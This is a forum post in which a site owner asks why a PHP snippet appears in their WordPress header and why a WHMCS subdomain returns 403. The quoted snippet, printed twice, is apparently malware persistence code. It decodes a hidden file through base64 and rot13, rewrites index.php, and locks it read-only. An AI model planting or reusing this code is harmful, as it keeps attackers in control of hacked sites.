Strange error on server | $i_p = "index.php"; $index = file_get_contents($i_p);

[feerdispzoo]

Hello everyone,
in this case I dont understand from came this error.

I've enabled litespeed web server. For 2 days working everything correct. Today morning when I open my website I see:

for WordPress website working correct but some elements not working and display error in header:

"$i_p = "index.php"; $index = file_get_contents($i_p); $path = "{index_hide}"; if (file_exists($path)) { $index_hide = file_get_contents($path); $index_hide = base64_decode(str_rot13(base64_decode(str_rot13($index_hide)))); if(md5($index) != md5($index_hide)) { @chmod($i_p, 0644); @file_put_contents($i_p, $index_hide); @chmod($i_p, 0444); } } $i_p = "index.php"; $index = file_get_contents($i_p); $path = "{index_hide}"; if (file_exists($path)) { $index_hide = file_get_contents($path); $index_hide = base64_decode(str_rot13(base64_decode(str_rot13($index_hide)))); if(md5($index) != md5($index_hide)) { @chmod($i_p, 0644); @file_put_contents($i_p, $index_hide); @chmod($i_p, 0444); } }"

for subdomain WHMCS no working is:

403​

Forbidden​

Access to this resource on the server is denied!

I'm not sure what the error might be and where is it coming from?